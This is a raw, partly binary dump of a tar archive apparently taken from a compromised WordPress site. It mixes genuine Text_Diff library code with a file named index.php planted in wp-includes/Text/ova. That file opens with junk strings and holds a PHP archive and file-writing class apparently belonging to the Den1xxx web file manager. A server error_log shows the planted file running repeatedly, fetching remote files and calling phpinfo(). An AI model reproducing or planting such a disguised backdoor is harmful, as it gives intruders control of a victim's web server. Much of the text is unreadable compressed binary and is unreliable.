w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×PKj[×ova.tarnu[Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in 